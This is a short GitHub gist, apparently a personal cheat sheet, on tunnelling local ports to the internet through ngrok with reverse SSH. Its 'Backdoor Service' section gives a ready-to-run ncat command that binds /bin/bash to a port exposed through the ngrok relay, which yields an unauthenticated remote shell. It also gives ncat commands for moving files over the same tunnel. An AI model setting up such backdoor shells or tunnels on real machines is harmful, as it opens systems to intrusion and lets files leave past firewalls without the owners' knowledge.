Skip to content

Instantly share code, notes, and snippets.

@minlaxz
Created November 4, 2020 09:46
Show Gist options
  • Save minlaxz/d2e454317a64d24287bd104d864d6c09 to your computer and use it in GitHub Desktop.
Save minlaxz/d2e454317a64d24287bd104d864d6c09 to your computer and use it in GitHub Desktop.

Reverse SSH to ngrok (no need to install ngrok client).

ssh -R 0:localhost:5555 tunnel.us.ngrok.com tcp
Expose localhost:5555 to ngrok with TCP connection.

Backdoor Service

ncat -l -p 5555 -e /bin/bash.
ncat anything.tcp.ngrok.io port.

File Transfer

ncat -l -p 5555 > file.out.
ncat anything.tcp.ngrok.io port < file.in.


OR

SSH to remote by reversing remote_ssh to Ngrok.

ssh -R 0:localhost:22 tunnel.us.ngrok.com tcp
ssh -p ngrok_port $REMOTE_USER@ngrok_host

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment